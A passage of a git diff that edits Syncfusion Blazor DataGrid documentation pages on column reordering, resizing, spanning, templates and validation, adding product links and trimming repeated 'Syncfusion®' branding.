@@ -436,7 +436,7 @@ public class OrderDetails
 
 ## Reorder events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides events to handle column reordering interactions. These events allow executing custom logic during drag-and-drop operations.
+The Blazor DataGrid provides events to handle column reordering interactions. These events allow executing custom logic during drag-and-drop operations.
 
 1. [ColumnReordering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_ColumnReordering): Triggered while a column header is being dragged.
 2. [ColumnReordered](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_ColumnReordered): Triggered when a column header is dropped on the target column.
diff --git a/blazor/datagrid/column-resizing.md b/blazor/datagrid/column-resizing.md
index e43ca888db..f066c508f4 100644
--- a/blazor/datagrid/column-resizing.md
+++ b/blazor/datagrid/column-resizing.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Column Resizing in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides an intuitive interface for resizing columns to fit their content. This feature allows columns to be adjusted for improved readability and layout control.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides an intuitive interface for resizing columns to fit their content. This feature allows columns to be adjusted for improved readability and layout control.
 
 To enable column resizing, set the [AllowResizing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowResizing) property of the [Grid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **true**.
 
@@ -95,7 +95,7 @@ public class OrderDetails
 
 ## Restrict the resizing based on minimum and maximum width
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows restricting column resizing between a defined minimum and maximum width. This ensures that columns remain within a specific size range, maintaining layout consistency and readability.
+The Blazor DataGrid allows restricting column resizing between a defined minimum and maximum width. This ensures that columns remain within a specific size range, maintaining layout consistency and readability.
 
 To configure this behavior, set the [MinWidth](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_MinWidth) and [MaxWidth](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_MaxWidth) properties for the respective [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html).
 
@@ -178,7 +178,7 @@ public class OrderDetails
 
 ## Prevent resizing for particular column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the ability to restrict resizing for individual columns. This is useful when a column's width must remain fixed for layout consistency or to prevent unintended changes.
+The Blazor DataGrid provides the ability to restrict resizing for individual columns. This is useful when a column's width must remain fixed for layout consistency or to prevent unintended changes.
 
 To disable resizing for a specific column, set the [AllowResizing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowResizing) property of that [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) to **false**.
 
@@ -251,7 +251,7 @@ public class OrderDetails
 
 ## Resize stacked header column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows resizing stacked columns by dragging the right edge of the stacked column header. During this action, the widths of the child columns are adjusted simultaneously.
+The Blazor DataGrid allows resizing stacked columns by dragging the right edge of the stacked column header. During this action, the widths of the child columns are adjusted simultaneously.
 
 To disable resizing for a specific stacked column, set the [AllowResizing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowResizing) property of that [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) to **false**.
 
@@ -333,7 +333,7 @@ public class OrderDetails
 
 ## Touch interaction
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports touch interactions, enabling column resizing on mobile devices. Columns can be resized by tapping and dragging the floating handler, or adjusted using the column menu options.
+The Blazor DataGrid supports touch interactions, enabling column resizing on mobile devices. Columns can be resized by tapping and dragging the floating handler, or adjusted using the column menu options.
 
 **Resizing Columns on Touch Devices**
 
@@ -347,7 +347,7 @@ To resize a column:
 
 ## Resize columns via programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports column resizing through external UI interactions such as dropdowns or buttons. This allows dynamic control over column widths without relying on the Grid’s built-in UI handlers.
+The Blazor DataGrid supports column resizing through external UI interactions such as dropdowns or buttons. This allows dynamic control over column widths without relying on the Grid’s built-in UI handlers.
 
 To resize a column externally, update the [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width)  property of the target [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html), and invoke the [RefreshColumnsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RefreshColumnsAsync) method to apply the changes.
 
@@ -467,7 +467,7 @@ public class OrderDetails
 
 ## Resizing events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides events that are triggered during column resizing operations. These events allow execution of custom logic before and after a column is resized, enabling validation, customization, and UI updates or notifications.
+The Blazor DataGrid provides events that are triggered during column resizing operations. These events allow execution of custom logic before and after a column is resized, enabling validation, customization, and UI updates or notifications.
 
 1. [OnResizeStart](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnResizeStart): Triggered when column resizing begins.
 
diff --git a/blazor/datagrid/column-spanning.md b/blazor/datagrid/column-spanning.md
index 5fe449e878..8d46ffd401 100644
--- a/blazor/datagrid/column-spanning.md
+++ b/blazor/datagrid/column-spanning.md
@@ -9,11 +9,11 @@ documentation: ug
 
 # Column spanning in Blazor DataGrid
 
-Column spanning in the Syncfusion Blazor DataGrid provides automatic vertical merging of adjacent cells within the same column when identical values are detected. This feature enhances data readability by consolidating repeated values into a single, taller cell, making it particularly effective for scenarios where the same value appears across consecutive rows.
+Column spanning in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides automatic vertical merging of adjacent cells within the same column when identical values are detected. This feature enhances data readability by consolidating repeated values into a single, taller cell, making it particularly effective for scenarios where the same value appears across consecutive rows.
 
 The functionality is enabled by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [SfGrid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **AutoSpanMode.Column**. Once applied, the grid evaluates each column and merges stacked cells that share identical values, thereby reducing visual redundancy and presenting a cleaner, more structured layout. The merging process is fully declarative and requires no additional code or preprocessing.
 
-Column spanning is part of the broader [AutoSpanMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.AutoSpanMode.html) enumeration, which provides multiple options for customizing cell merging behavior in the Syncfusion Blazor DataGrid. The available modes include **None**, **Row**, **Column**, and **HorizontalAndVertical**. 
+Column spanning is part of the broader [AutoSpanMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.AutoSpanMode.html) enumeration, which provides multiple options for customizing cell merging behavior in the Blazor DataGrid. The available modes include **None**, **Row**, **Column**, and **HorizontalAndVertical**. 
 
 | Enum Value | Description |
 |---------|-----|
@@ -25,7 +25,7 @@ Column spanning is part of the broader [AutoSpanMode](https://help.syncfusion.co
 
 ## Enable column spanning
 
-Vertical cell merging in the Syncfusion Blazor DataGrid is enabled by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [SfGrid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **AutoSpanMode.Column**. In this mode, the grid automatically merges stacked cells that share identical values within the same column. This reduces redundancy across consecutive rows and provides a cleaner, more structured layout for repeated data.
+Vertical cell merging in the Blazor DataGrid is enabled by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [SfGrid](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) component to **AutoSpanMode.Column**. In this mode, the grid automatically merges stacked cells that share identical values within the same column. This reduces redundancy across consecutive rows and provides a cleaner, more structured layout for repeated data.
 
 
 {% tabs %}
@@ -352,7 +352,7 @@ public class EmployeeDetails
 
 ## Disable column spanning for specific column
 
-Column spanning in Syncfusion Blazor DataGrid can be disabled for a specific column(s) by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) component to **AutoSpanMode.None**. This configuration provides precise control, enabling automatic spanning across the grid while excluding column(s) where merging is not required.
+Column spanning in Blazor DataGrid can be disabled for a specific column(s) by setting the [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) component to **AutoSpanMode.None**. This configuration provides precise control, enabling automatic spanning across the grid while excluding column(s) where merging is not required.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -678,7 +678,7 @@ public class EmployeeDetails
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/rtBSshCRIKBMHUsU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-The effective spanning behavior in the Syncfusion Blazor DataGrid is determined by the intersection of grid-level and column-level [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) modes. A column can only restrict the spanning directions permitted at the grid-level and cannot enable a span direction that has been disabled globally. This ensures consistent behavior across the grid while allowing fine-grained control for individual columns.
+The effective spanning behavior in the Blazor DataGrid is determined by the intersection of grid-level and column-level [AutoSpan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoSpan) modes. A column can only restrict the spanning directions permitted at the grid-level and cannot enable a span direction that has been disabled globally. This ensures consistent behavior across the grid while allowing fine-grained control for individual columns.
 
 **Combination Matrix**
 
@@ -705,7 +705,7 @@ The effective spanning behavior in the Syncfusion Blazor DataGrid is determined
 
 ## Apply column spanning via programmatically
 
-In addition to automatic cell merging, the Syncfusion Blazor DataGrid provides API support for manually merging cells when custom layout behavior is required. This functionality is available through the [MergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_MergeCellsAsync_Syncfusion_Blazor_Grids_MergeCellInfo_) method, which enables the definition of rectangular regions of cells to be merged programmatically.
+In addition to automatic cell merging, the Blazor DataGrid provides API support for manually merging cells when custom layout behavior is required. This functionality is available through the [MergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_MergeCellsAsync_Syncfusion_Blazor_Grids_MergeCellInfo_) method, which enables the definition of rectangular regions of cells to be merged programmatically.
 
 Use [MergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_MergeCellsAsync_Syncfusion_Blazor_Grids_MergeCellInfo_) method to manually merge cells by defining rectangular regions. This method supports both single and batch merging, allowing precise control over layout customization when automatic spanning is insufficient.
 
@@ -1076,7 +1076,7 @@ public class EmployeeDetails
 
 ## Clear spanning via programmatically
 
-The Syncfusion Blazor DataGrid provides API support to manually remove merged regions when restoration of individual cells is required. This functionality is achieved using the [UnmergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeCellsAsync_Syncfusion_Blazor_Grids_UnmergeCellInfo_) methods, which allow specific merged areas to be unmerged programmatically. For scenarios where all merged regions in the current view need to be reset, the [UnmergeAllAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeAllAsync) method can be used to restore every cell to its original state.
+The Blazor DataGrid provides API support to manually remove merged regions when restoration of individual cells is required. This functionality is achieved using the [UnmergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeCellsAsync_Syncfusion_Blazor_Grids_UnmergeCellInfo_) methods, which allow specific merged areas to be unmerged programmatically. For scenarios where all merged regions in the current view need to be reset, the [UnmergeAllAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeAllAsync) method can be used to restore every cell to its original state.
 
 The [UnmergeCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UnmergeCellsAsync_Syncfusion_Blazor_Grids_UnmergeCellInfo_) method is overloaded to provide flexibility for different scenarios. Both overloads share the same method name but accept different parameter types, allowing removal of either a single merged region or multiple merged regions in one operation.
 
diff --git a/blazor/datagrid/column-template.md b/blazor/datagrid/column-template.md
index db7cca4a92..905e7828c8 100644
--- a/blazor/datagrid/column-template.md
+++ b/blazor/datagrid/column-template.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Column Template in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property that allows rendering custom elements in a column instead of the default field value. This feature is useful for displaying images, buttons, or other custom content within a column.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides a [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property that allows rendering custom elements in a column instead of the default field value. This feature is useful for displaying images, buttons, or other custom content within a column.
 
 {% youtube
 "youtube:https://www.youtube.com/watch?v=9YF9HnFY5Ew"%}
@@ -18,7 +18,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a
 
 ## Render HTML Elements in a Column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows rendering HTML elements inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This enables embedding custom content such as **images** and **hyperlinks** instead of plain text.
+The Blazor DataGrid allows rendering HTML elements inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This enables embedding custom content such as **images** and **hyperlinks** instead of plain text.
 
 ### Render image in a column
 
@@ -115,7 +115,7 @@ To display an image in a DataGrid column, define the [Template](https://help.syn
 
 ### Render hyperlink in a column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering hyperlinks in columns using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is useful for displaying data that links to another page or external resource.
+The Blazor DataGrid supports rendering hyperlinks in columns using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is useful for displaying data that links to another page or external resource.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -190,7 +190,7 @@ public class EmployeeDetails
 
 ## Render other components in a column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering other Syncfusion components inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This allows embedding interactive elements for advanced customization.
+The Blazor DataGrid supports rendering other Syncfusion components inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This allows embedding interactive elements for advanced customization.
 
 ### Render LineChart in a column
 
@@ -293,7 +293,7 @@ public class EmployeeDetails
 
 ### Render DropDownList in a column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows rendering a [DropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is commonly used to provide inline selection of predefined values directly within the grid, such as choosing from predefined options for a field.
+The Blazor DataGrid allows rendering a [DropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is commonly used to provide inline selection of predefined values directly within the grid, such as choosing from predefined options for a field.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -383,7 +383,7 @@ public class OrderDetails
 
 ### Render Chip in a column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering [Chips](https://blazor.syncfusion.com/documentation/chip/getting-started-with-web-app) inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is useful for displaying data as visually distinct elements, such as tags or labels, within the grid.
+The Blazor DataGrid supports rendering [Chips](https://blazor.syncfusion.com/documentation/chip/getting-started-with-web-app) inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is useful for displaying data as visually distinct elements, such as tags or labels, within the grid.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -461,7 +461,7 @@ public class EmployeeDetails
 
 ### Render ProgressBar in a column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [Progress Bar](https://blazor.syncfusion.com/documentation/progress-bar/getting-started-webapp) inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is useful for visually tracking progress related to specific records.
+The Blazor DataGrid supports rendering a [Progress Bar](https://blazor.syncfusion.com/documentation/progress-bar/getting-started-webapp) inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is useful for visually tracking progress related to specific records.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -538,7 +538,7 @@ public class OrderDetails
 
 ### Render RadioButton in a column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering a [RadioButton](https://blazor.syncfusion.com/documentation/radio-button/getting-started-webapp) inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is useful for scenarios where a single option must be selected from multiple choices within the grid.
+The Blazor DataGrid supports rendering a [RadioButton](https://blazor.syncfusion.com/documentation/radio-button/getting-started-webapp) inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature is useful for scenarios where a single option must be selected from multiple choices within the grid.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -612,7 +612,7 @@ public class OrderDetails
 
 ## Using condition template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports conditional rendering within a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature allows displaying template elements based on specific conditions in the data source.
+The Blazor DataGrid supports conditional rendering within a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature allows displaying template elements based on specific conditions in the data source.
 
 The `Template` property provides access to the current row’s data through the implicit **context** parameter, enabling conditional logic for rendering elements such as checkboxes, icons, or status indicators.
 
@@ -700,7 +700,7 @@ The `Template` property provides access to the current row’s data through the
 
 ### Calculate column value based on other columns in Blazor DataGrid
 
-In the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, a column can display values derived from other fields in the same row using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This approach is useful for scenarios where calculated values, such as totals or combined costs, need to be shown without adding extra fields to the data source.
+In the Blazor DataGrid, a column can display values derived from other fields in the same row using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This approach is useful for scenarios where calculated values, such as totals or combined costs, need to be shown without adding extra fields to the data source.
 
 The `Template` property allows defining inline expressions or logic that compute values dynamically. The **context** parameter provides access to the row data, enabling calculations like summing two fields or applying custom formulas.
 
@@ -758,7 +758,7 @@ The `Template` property allows defining inline expressions or logic that compute
 
 ## How to get the row object by clicking on the template element
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports retrieving the row object when a [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) element inside a column is clicked. This feature is useful for performing custom actions such as showing detailed information, triggering workflows, or updating related UI components based on the selected record.
+The Blazor DataGrid supports retrieving the row object when a [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) element inside a column is clicked. This feature is useful for performing custom actions such as showing detailed information, triggering workflows, or updating related UI components based on the selected record.
 
 The `Template` property allows rendering interactive elements like buttons inside a column. When these elements are clicked, the associated row data can be accessed using the [RowSelected](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowSelected) event or by handling the [OnClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Buttons.SfButton.html#Syncfusion_Blazor_Buttons_SfButton_OnClick) event of the template element.
 
@@ -853,7 +853,7 @@ public class EmployeeDetails
 
 ## Use custom helper inside the template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports using custom helper functions inside the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property of a column. This feature is useful for creating complex templates that require additional logic beyond the default template syntax.
+The Blazor DataGrid supports using custom helper functions inside the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property of a column. This feature is useful for creating complex templates that require additional logic beyond the default template syntax.
 
 Custom helper functions can be defined in the component’s code section and invoked within the template using the **context** parameter. This approach allows implementing dynamic behaviors such as formatting values, applying conditional styles, or rendering custom UI elements based on row data.
 
@@ -935,7 +935,7 @@ public class OrderDetails
 
 ## Dynamically adding template column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dynamically adding template columns at runtime. This feature is useful when the grid structure needs to change based on interactions or dynamic conditions.
+The Blazor DataGrid supports dynamically adding template columns at runtime. This feature is useful when the grid structure needs to change based on interactions or dynamic conditions.
 
 Template columns can be created and inserted after the grid has been initialized, allowing custom elements such as dropdowns, buttons, or icons to be rendered dynamically. This approach provides flexibility for scenarios like adding interactive controls or displaying conditional content without modifying the initial grid configuration.
 
@@ -1034,7 +1034,7 @@ public class OrderDetails
 
 ## Using hyperlink column and performing routing on click
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding routing links inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature enables navigation to different pages or routes when interacting with template elements.
+The Blazor DataGrid supports adding routing links inside a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. This feature enables navigation to different pages or routes when interacting with template elements.
 
 Routing can be implemented by defining an **anchor tag** or clickable element inside the column template and handling navigation through the [UriHelper](https://learn.microsoft.com/en-us/aspnet/core/blazor/fundamentals/routing?view=aspnetcore-7.0&viewFallbackFrom=aspnetcore-3.0#uri-and-navigation-state-helpers). The **context** parameter provides access to the current row data, allowing dynamic route generation based on record values.
 
diff --git a/blazor/datagrid/column-validation.md b/blazor/datagrid/column-validation.md
index 5518e67745..a2bfdd98f6 100644
--- a/blazor/datagrid/column-validation.md
+++ b/blazor/datagrid/column-validation.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Validation in Blazor DataGrid
 
-Validation is essential for maintaining data integrity in applications. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides built-in support for reliable data validation. This feature ensures that entered or modified data adheres to predefined rules, helping prevent errors and maintain the accuracy of displayed information.
+Validation is essential for maintaining data integrity in applications. The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides built-in support for reliable data validation. This feature ensures that entered or modified data adheres to predefined rules, helping prevent errors and maintain the accuracy of displayed information.
 
 ## Column validation
 
@@ -88,7 +88,7 @@ public class OrderDetails
 
 ## Data annotation
 
-Data annotation validation attributes are used to validate fields in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid. These attributes define validation rules that are applied during CRUD operations to ensure data integrity.
+Data annotation validation attributes are used to validate fields in the Blazor DataGrid. These attributes define validation rules that are applied during CRUD operations to ensure data integrity.
 
 | Attribute Name | Functionality |
 |---------------|--------------|
@@ -406,7 +406,7 @@ public class MyCustomValidator : ComponentBase
 
 ## Display validation message using in-built tooltip
 
-When using [Inline](https://blazor.syncfusion.com/documentation/datagrid/in-line-editing) or [Batch](https://blazor.syncfusion.com/documentation/datagrid/batch-editing) editing modes in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, the **ValidationMessage** component may not be suitable for displaying error messages. In such cases, the built-in validation tooltip can be used by invoking the [ShowValidationMessage](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ValidatorTemplateContext.html#Syncfusion_Blazor_Grids_ValidatorTemplateContext_ShowValidationMessage) method.
+When using [Inline](https://blazor.syncfusion.com/documentation/datagrid/in-line-editing) or [Batch](https://blazor.syncfusion.com/documentation/datagrid/batch-editing) editing modes in the Blazor DataGrid, the **ValidationMessage** component may not be suitable for displaying error messages. In such cases, the built-in validation tooltip can be used by invoking the [ShowValidationMessage](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ValidatorTemplateContext.html#Syncfusion_Blazor_Grids_ValidatorTemplateContext_ShowValidationMessage) method.
 
 The **HandleValidation** method of the **MyCustomValidator** component can be updated to display validation messages using tooltips, as shown below:
 
@@ -439,7 +439,7 @@ protected void HandleValidation(FieldIdentifier identifier)
 
 ## Disable in-built validator component
 
-The [Validator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Validator) property of the [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html) component can be used to disable the built-in `Validator` component in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid.
+The [Validator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Validator) property of the [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html) component can be used to disable the built-in `Validator` component in the Blazor DataGrid.
 
 By default, the Grid uses two validator components:
 
@@ -476,7 +476,7 @@ To use only the **DataAnnotationsValidator** component and disable the internal
 
 ## Display validation message in dialog template
 
